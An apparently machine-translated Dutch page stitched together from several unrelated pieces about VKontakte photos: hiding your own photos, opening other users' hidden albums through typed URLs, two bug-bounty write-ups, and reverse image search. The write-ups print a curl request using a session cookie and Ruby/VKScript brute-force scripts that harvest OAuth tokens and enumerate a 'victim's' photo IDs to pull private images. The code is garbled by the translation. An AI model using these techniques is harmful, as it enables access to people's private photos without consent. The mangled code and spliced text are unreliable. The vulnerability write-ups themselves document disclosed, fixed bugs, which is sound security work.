Bekijk verborgen foto's en albums. Hoe verborgen foto's in contact te bekijken via de broncode Privéfoto's VK

Het is moeilijk om een ​​computergebruiker te vinden die nog nooit heeft gehoord of niet is geregistreerd op het sociale netwerk VKontakte. Internetcommunicatie heeft de moderne mens zo in zijn greep dat we ons onze vrije tijd, of zelfs ons leven in het algemeen, niet meer zonder kunnen voorstellen. Als je een eigen pagina op VK hebt, merk je onwillekeurig de vele nuances die deze bron verbergt, maar ze zijn niet allemaal gemakkelijk te verwerken. Voor veel gebruikers veroorzaken al deze subtiliteiten en ingewikkeldheden problemen, dus dit kan niet zonder hulp van buitenaf.

Hoe foto's te verbergen

Voordat ik rechtstreeks naar het onderwerp van dit artikel ga, wil ik u eraan herinneren hoe u uw foto's kunt verbergen. Ik denk dat dergelijke informatie voor velen interessant zal zijn, en degenen die deze al bezitten, kunnen hun kennis opfrissen. Het gaat dus als volgt:

1. Log in op VKontakte nadat u uw persoonlijke inloggegevens heeft ingevoerd.
2. Zoek aan de linkerkant van het venster de regel 'Mijn instellingen' en klik erop.
3. Open vervolgens het tabblad ‘Privacy’.
4. Er verschijnt een lijst met instellingen die u naar wens kunt wijzigen. Hier kunt u ook. Zoek onder hen naar 'Wie ziet de foto's waarin ik ben getagd'. Ernaast staat een vervolgkeuzelijst waarmee u de kring van mensen kunt selecteren die uw foto's te zien krijgen. U kunt dus 'Alleen vrienden' selecteren of zelfs afbeeldingen voor iedereen verbergen door op 'Alleen ik' te klikken.

Zodra deze instellingen zijn gemaakt, worden de wijzigingen onmiddellijk van kracht.

Hoe verborgen foto's te bekijken

Nu eigenlijk de hoofdvraag: hoe kun je naar foto's kijken van mensen met beperkte toegang? Op deze vraag bestaat geen direct antwoord, omdat de VK-administratie ervan uitgaat dat de privacy van anderen gerespecteerd moet worden. Als de situatie echter zodanig is dat er geen opties zijn, raad ik u aan deze optie te gebruiken.

Ik wil uw aandacht vestigen op het feit dat deze methode niet is goedgekeurd door de VK-administratie en dus op elk moment kan stoppen met werken. Er bestaat geen universeel recept, dus je moet niet te veel hoop koesteren. Ik wens je in ieder geval veel succes!

Veel gebruikers beperken de toegang tot het bekijken van hun foto's met behulp van . Of deze optie is mogelijk als de albums niet op de pagina zijn gepubliceerd - u weet gewoon niet hoe u ze kunt openen (zie).

Maar ik wil echt zien wat de gebruiker heeft verborgen. Laten we het uitzoeken hoe verborgen foto's op VKontakte te zien.

Gebruik de pagina-ID om verborgen foto's te bekijken

Ga naar de pagina van de gewenste gebruiker en kopieer zijn id uit de adresbalk (zie).

In het geval dat er geen digitale waarde is voor id en in plaats daarvan de door de gebruiker geselecteerde bijnaam wordt aangegeven, moet u het volgende doen.

U moet naar elk deel van het gebruikersprofiel gaan. De eenvoudigste manier is om je avatar te openen.

Ga nu terug naar de adresbalk. Zoek het volgende deel van de code "z=photo233054".

De cijfers na het woord ‘foto’ zijn de id. In dit geval is dit de waarde - 233054. Laten we nu verder gaan met de volgende stap.

Hoe privéfoto's en albums op VKontakte te bekijken

Als u naar de pagina kijkt van de gebruiker wiens id we zojuist hebben ontvangen, ziet u dat er slechts één foto beschikbaar is om te bekijken. En er is geen blok "Fotoalbums". Dit betekent dat alle foto's en albums verborgen zijn (zie).

Laten we ze dus alvast bekijken. Ga hiervoor opnieuw naar de adresbalk en typ de volgende tekst:

https://vk.com/albums***

Zoals je kunt zien, zijn er hier meer dan 500 foto's.

Er is een alternatieve code. Hier is hij:

https://vk.com/id***?z=albums***

Voer het in de adresbalk in en schrijf in plaats van sterretjes opnieuw ID. Volgende "Invoeren". Het resultaat zal hetzelfde zijn.

VKontakte-kwetsbaarheid: toegang tot fotovoorbeelden van dialogen en verborgen albums van elke gebruiker

Kort

Hoe het allemaal begon

Zoek naar kwetsbaarheden op de volledige versie van de site

Schakel over naar de mobiele versie

Toen herinnerde ik me deze opmerking en besloot hetzelfde te proberen in de mobiele versie van de site.

Een foto naar de muur sturen:

Curl "http://m.vk.com/wall53083705" -H "Cookie: remixsid=#remixsid" --data "act=post&hash=#hash&attach1_type=photo&attach1=idOwnerPhoto_idHiddenPhoto" # foto-id bestaat uit twee delen, gescheiden door een onderstrepingsteken idOwnerPhoto_idHiddenPhoto
Dit verzoek is niet correct voltooid, maar nadat ik de pagina had vernieuwd, ontdekte ik tot mijn verbazing dat er een bijgevoegde kleine kopie van de foto op het inzendingsformulier verscheen.

Het maximale fotoformaat is 130x130, maar dit is voldoende om bijvoorbeeld gezichten op een foto te herkennen. Pogingen om een ​​link naar de volledige foto te verkrijgen, waren niet succesvol. Blijkbaar kunnen, nadat dit beveiligingslek is gesloten, geen directe links naar de volledige grootte worden verkregen vanaf de mobiele versie van de site.

Bladeren door foto's

De foto-ID bestaat uit twee delen: photo12345_330000000 (Owner_idPhoto), het tweede deel groeit van foto naar foto, maar dit is geen reguliere automatische verhoging. Omdat het stapselectie-algoritme onbekend is, herhalen we stap 1.

Om op te sommen zullen we de API-methode gebruiken foto's.verwijderen. Voor alle bestaande foto's (inclusief verborgen foto's) zal deze methode terugkeren foutcode: 15. En voor alle niet-bestaande identiteitsbewijzen met foto wordt er één geretourneerd.

Zoeksnelheid

om directe links naar de foto's van een gebruiker te vinden, bijvoorbeeld van vorig jaar, hoeft u slechts 30 miljoen (van _320000000 tot _350000000) verschillende varianten van links te doorzoeken

Met behulp van de zoekversnellingen uit het genoemde artikel konden de foto’s van de gebruiker worden doorzocht:

in 1 minuut krijg je al je foto's van gisteren, in 7 minuten - alle foto's die vorige week zijn geüpload, in 20 minuten - vorige maand, in 2 uur - vorig jaar.

Eliminatie van open/verborgen

Informatie over geliefde gebruikers

Rapporteer aan hackerone

P.S.: voor degenen die voor de eerste keer beloningen van hackerone.com proberen op te nemen naar een nieuw PayPal-account, raad ik u aan de algemene voorwaarden aandachtig te lezen. Paypal kan bij het overmaken van geld, zonder uw toestemming, de beloning omzetten in de valuta van het land dat in uw profiel is opgegeven.

tl;dr

Er werd een kwetsbaarheid ontdekt in VK-bladwijzers, die het mogelijk maakte om directe links naar privéfoto's te ontvangen vanuit persoonlijke berichten en albums van elke gebruiker/groep. Er is een script geschreven dat gedurende een bepaalde periode gebruikersfoto's doorzoekt en vervolgens via deze kwetsbaarheid directe links naar de afbeeldingen krijgt. Kortom, u kunt al uw foto's van gisteren in 1 minuut ontvangen, alle foto's die u vorige week hebt geüpload in 7 minuten, vorige maand in 20 minuten en vorig jaar in 2 uur. De kwetsbaarheid is inmiddels verholpen. De regering VKontakte betaalde een beloning van 10.000 stemmen.

Wanneer een link wordt toegevoegd, ontleedt de server deze, probeert uit te vinden naar welke entiteit deze verwijst en haalt informatie over dit object op uit de database. Wanneer dit soort functies met veel voorwaarden wordt geschreven, is de kans dat de ontwikkelaar iets vergeet doorgaans zeer groot. Ik kon het me dus niet veroorloven om het te laten liggen en besloot een paar minuten de tijd te nemen om een ​​beetje te experimenteren.

Het resultaat is dat ik iets heb kunnen vinden. Door een link toe te voegen naar een foto, notitie of video die niet toegankelijk is, kunt u wat privé-informatie over het object verkrijgen. In het geval van foto's en video's is dit een kleine (150x150) preview, waarop het voor privénotities vrij moeilijk is om iets te zien; Via API-methode favoriet.getLinks Het was mogelijk om links naar de afbeelding te krijgen, maar opnieuw was het formaat te klein (75px en 130px). Dus eigenlijk niets ernstigs.

Ik besloot naar de mobiele versie van de site te gaan om te controleren of alles daar hetzelfde werd weergegeven als in de reguliere versie. Toen ik naar de paginacode keek, zag ik dit:

Ja! In de attribuutwaarde data-src_big er was een directe link naar de originele afbeelding!

Het was dus mogelijk om een ​​directe link naar elke afbeelding op VKontakte te krijgen, ongeacht waar deze was geüpload en welke privacy-instellingen deze had. Dit kan een afbeelding zijn uit persoonlijke berichten of een foto uit de privéalbums van een gebruiker/groep.

Het lijkt erop dat ik daar kon stoppen en naar de ontwikkelaars kon schrijven, maar ik vroeg me af of het mogelijk was om door misbruik te maken van deze kwetsbaarheid toegang te krijgen tot alle (of binnen een bepaalde periode gedownloade) foto's van de gebruiker. Het grootste probleem hier was, zoals u begrijpt, dat de link naar een privéfoto van het formulier niet altijd bekend is fotoXXXXXX_XXXXXXXXX om toe te voegen aan uw bladwijzers. De gedachte om via de ID van de foto te zoeken kwam in me op, maar om de een of andere reden verwierp ik het onmiddellijk als gek. Ik controleerde de fotogerelateerde methoden in de API, keek hoe de applicatie met albums werkt, maar ik kon geen lekken vinden die me konden helpen een lijst te krijgen met de ID's van alle privéfoto's van de gebruiker. Ik stond op het punt dit idee op te geven, maar toen ik opnieuw naar de link met de foto keek, besefte ik plotseling dat overdrijven een goed idee was.

Hoe foto's werken in VK

Helaas, na twee uur experimenteren, begreep ik dit nog steeds niet. In 2012 zei Oleg Illarionov op HighLoad++ een paar woorden over hoe ze foto's opslaan, over horizontale sharding en willekeurige selectie van een server om te uploaden, maar deze informatie leverde mij niets op, aangezien er geen verband bestaat tussen de server-ID en de foto id. Het is duidelijk dat er een soort globale teller is, maar er is ook een andere logica... Want als het tweede getal zou zijn gevormd met behulp van gewone automatische optelling, dan zouden de waarden van foto-ID's al lang geleden enorme waarden hebben bereikt ​​(voor Facebook is dit momenteel bijvoorbeeld ~ 700 biljoen), maar voor Vkontakte is deze waarde slechts ~ 400 miljoen (hoewel, afgaande op de statistieken, dagelijks gebruikers uploaden meer dan 30 miljoen foto's). Die. Het is duidelijk dat dit cijfer niet uniek is, maar tegelijkertijd ook niet willekeurig. Ik schreef een script dat de foto's van 'oude' gebruikers doornam en, met behulp van de ontvangen gegevens, een grafiek maakte van hoeveel dit cijfer met elke gebruiker veranderde. jaar:

Het is te zien dat de waarden fluctueren afhankelijk van een aantal factoren (aantal servers of nieuwe logica?). Maar het punt is dat ze klein genoeg zijn (vooral in de afgelopen 2-3 jaar) en dat het heel eenvoudig is om het ID-bereik voor de gewenste periode te berekenen. Dat wil zeggen, om directe links naar de foto's van een gebruiker te vinden, bijvoorbeeld van vorig jaar, hoeft u slechts 30 miljoen (van _320000000 tot _350000000) verschillende varianten van links te bookmarken! Hieronder heb ik een brute force-techniek beschreven waarmee ik dit binnen enkele minuten kon doen.

Foto's doornemen

Versnel het zoeken x25

Var start = parseInt(Args.start); var end = parseInt(Args.end); var slachtofferId = Args.id; var link = "http://vk.com/photo" + slachtofferId + "_"; while(start != end) ( API.fave.addLink(( "link": link + start )); start = start + 1; );
Zo zijn we erin geslaagd de brute force-snelheid te verhogen naar 3*25 bladwijzers/sec. Het afgelopen jaar zou het sorteren van foto's lang hebben geduurd, maar voor korte periodes was deze sorteermethode al behoorlijk goed.

We versnellen het zoeken x25 * aantal parallelle verzoeken per seconde

Eerst moesten we het vereiste aantal applicaties vinden (of creëren). Er is een script geschreven dat zoekt naar zelfstandige applicaties in een bepaald bereik van applicatie-ID's:

Klasse StandaloneAppsFinder attr_reader:app_ids def initialize(params) @range = params[:in_range] @app_ids = end def search (@range).each do |app_id| response = open("https://api.vk.com/method/apps.get?app_id=#(app_id)").read app = JSON.parse(response)["response"] app_ids<< app_id if standalone?(app) end end private def standalone?(app_data) app_data["type"] == "standalone" end end
Het was ook mogelijk om applicaties te selecteren op basis van het aantal gebruikers om het zoeken verder te versnellen:

Maar ik besloot me er niet mee bezig te houden.

Oké, de applicaties zijn gevonden, nu moeten ze toestemming geven aan de gegevens van onze gebruikers en tokens ontvangen. Voor autorisatie moesten we het Implicit Flow-mechanisme gebruiken. Ik moest de autorisatie-URL uit het OAuth-dialoogvenster ontleden en het token na de omleiding eruit halen. Deze klasse vereist cookies om te functioneren. p,l(login.vk.com) en geremixt(vk.com):

Klasse Authenticator attr_reader:access_tokens def initialize(cookie_header) @cookies = ( "Cookie" => cookie_header ) @access_tokens = end defauthorize_apps(apps) apps.each do |app_id| auth_url = extract_auth_url_from(oauth_page(app_id)) redirect_url = open(auth_url, @cookies).base_uri.to_s access_tokens<< extract_token_from(redirect_url) end end private def extract_auth_url_from(oauth_page_html) Nokogiri::HTML(oauth_page_html).css("form").attr("action").value end def extract_token_from(url) URI(url).fragment end def oauth_page(app_id) open(oauth_page_url(app_id), @cookies).read end def oauth_page_url(app_id) "https://oauth.vk.com/authorize?" + "client_id=#{app_id}&" + "response_type=token&" + "display=mobile&" + "scope=474367" end end
Het aantal gevonden aanvragen is gelijk aan het aantal parallelle aanvragen. Om dit geheel te parallelliseren, werd besloten om de Typhoeus-edelsteen te gebruiken, die zich uitstekend heeft bewezen in andere taken. Het resultaat is een kleine brute force zoals deze:

Class PhotosBruteforcer PHOTOS_ID_BY_PERIOD = ( "vandaag" => 366300000..366500000, "gisteren" => 366050000..366300000, "huidige_maand" => 365000000..366500000, "laatste_maand" => 3600000 ..365000000, "huidig_jaar" = > 350000000..366500000, "last_year" => 320000000..350000000 ) def initialize(params) @slachtoffer_id = params[:slachtoffer_id] @period = FOTOS_ID_BY_PERIOD] end def run(tokens) hydra = Typhoeus::Hydra.new tokensIterator = 0 (@period).step(25) doe |photo_id| url = "https://api.vk.com/method/execute?access_token=#(tokens)&code=#(vkscript(photo_id))" encoded_url = URI.escape(url).gsub("+", "% 2B").delete("\n") tokensIterator = tokensIterator == tokens.count - 1 ? 0: tokensIterator + 1 hydra.queue Typhoeus::Request.new gecodeerde_url hydra.run if tokensIterator.zero? hydra.run beëindigen tenzij hydra.queued_requests.count.zero? eind privé def vkscript(photo_id)<<-VKScript var start = #{photo_id}; var end = #{photo_id + 25}; var link = "http://vk.com/photo#{@victim_id}" + "_"; while(start != end) { API.fave.addLink({ "link": link + start }); start = start + 1; }; return start; VKScript end end
Om het brute geweld nog meer te versnellen, werd er geprobeerd om het onnodige lichaam in de reactie kwijt te raken, maar HOOFD VKontakte-serververzoek retourneert een fout 501 Niet geïmplementeerd.

De definitieve versie van het script ziet er als volgt uit:

Vereisen "nokogiri" vereisen "open-uri" vereisen "typhoeus" vereisen "json" vereisen "./standalone_apps_finder" vereisen "./photos_bruteforcer" vereisen "./authenticator" bruteforcer = PhotosBruteforcer.new(slachtoffer_id: ARGV, punt: ARGV) apps_finder = StandaloneAppsFinder.new(in_range: 4800000..4800500) apps_finder.search # p,l - cookies van login.vk.com # remixsid - cookie van vk.com authenticator = Authenticator.new("p=;" + "l =;" + "remixsid=;") authenticator.authorize_apps(apps_finder.app_ids) bruteforcer.run(authenticator.access_tokens)
Nadat het programma was uitgevoerd, bevatten de bladwijzers gedurende een bepaalde periode alle foto's van de gebruiker. Het enige dat nog overbleef, was naar de mobiele versie van VKontakte gaan, de browserconsole openen, directe links eruit halen en van de foto's in hun originele grootte genieten.

Resultaten

De tabel toont de gemiddelde tijd die nodig is om een ​​identiteitsbewijs met foto uit te proberen gedurende een bepaalde periode. Ik weet zeker dat dit allemaal tien tot twintig keer had kunnen worden versneld. Maak bijvoorbeeld in een brute force-script één grote wachtrij van alle verzoeken en normale synchronisatie daartussen, omdat in mijn implementatie zal één verzoek met een time-out het hele proces vertragen. En over het algemeen zou je gewoon een paar exemplaren op EC2 kunnen kopen en binnen een uur alle foto's van elke gebruiker kunnen krijgen. Maar ik wilde al slapen.

En over het algemeen maakt het niet uit hoeveel tijd de aanvaller hieraan besteedt, 5 uur of de hele dag, omdat hij op de een of andere manier links naar privéafbeeldingen krijgt. Het vermogen om binnen een beperkte tijd veilig toegang te krijgen tot privé-informatie is de grootste bedreiging die uit deze kwetsbaarheid voortkomt.

Een kwetsbaarheid melden

Vandaag zullen we u vertellen, beste lezers, over een uiterst ongebruikelijke functie die aanwezig is in VK: zoeken naar vergelijkbare foto's, terwijl u gebruikers kunt vinden die dezelfde afbeelding naar hun profiel hebben geüpload.

Waarom is dit nodig, vraagt ​​u zich af? Er zijn twee belangrijke redenen.

• Eerst. Door naar identieke afbeeldingen te zoeken, kunt u altijd de persoon vinden (of niet vinden) die uw foto's gebruikt. Met andere woorden, u zult uw eigen klonen kunnen detecteren.

• De tweede reden. Laten we zeggen dat je een persoon moet vinden, maar je hebt alleen zijn foto. Met zijn hulp kunt u de zoekfunctie voor afbeeldingen op VK gebruiken en mogelijk vindt u de persoon die u zoekt.

Het is vermeldenswaard dat er veel fotozoekdiensten zijn, Google heeft het bijvoorbeeld, maar in dit geval wordt de zoekopdracht niet op het hele internet uitgevoerd, maar alleen op VKontakte.

Op zoek naar een gebruiker op foto

Laten we beginnen met zoeken. Laten we zeggen dat we klonen of gebruikers moeten vinden die een bepaalde foto hebben geüpload.

De eerste stap is het openen van de foto die we zoeken. Als het niet naar uw fotoalbum is geüpload, download het dan.

Open een afbeelding, bijvoorbeeld:

We kijken naar de adresbalk van de browser. Je zou een adres als dit moeten zien: https://vk.com/photo**********_384******. Onder de sterren foto******** die van jou is verborgen, en de cijfers 384****** , die na het onderstrepingsteken staan, is het fotonummer. Kopieer dit adres, maar dan zonder https://vk.com/, dan zou het moeten lukken foto**********_384******.

Sluit het tabblad of laat het open en open een nieuw tabblad, ga naar de VK-pagina en selecteer het gedeelte "Mijn nieuws" in het menu. U ziet een nieuwsfeed:

Als er een item 'Foto's' naast de subsectie 'Feed' staat, slaat u deze stap over. Als het item ontbreekt, klik dan op het kruisje en voeg het item "Foto's" toe.

Klik op het item "Foto's". De zoekbalk "Zoeken op foto's" verschijnt.

We schrijven een woord op een regel kopiëren: en voeg een link toe naar de foto die we eerder hebben gekopieerd, dat wil zeggen dat je zoiets als dit zou moeten krijgen: kopie: foto**********_384******. Houd er rekening mee dat de sterretjes slechts een voorbeeld zijn, daaronder staan ​​het ID- en serienummer van de foto! Als we bijvoorbeeld een specifieke foto van Pavel Durov nemen om te zoeken, dan moeten we in de regel bijvoorbeeld schrijven: kopie: foto1_327778612, waarbij photo1 de gebruikers-ID is (in dit geval Durova) en 327778612 het serienummer van de foto is. Druk vervolgens op de Enter-toets.

In ons geval konden we 7 identieke foto's detecteren.

Als u op elk ervan klikt, kunt u zien naar welke gebruiker of welk publiek de afbeelding is geüpload. Waarschijnlijk wordt de zoekopdracht alleen uitgevoerd op die foto's die zich in het publieke domein bevinden. We konden geen foto's vinden die niet konden worden bekeken.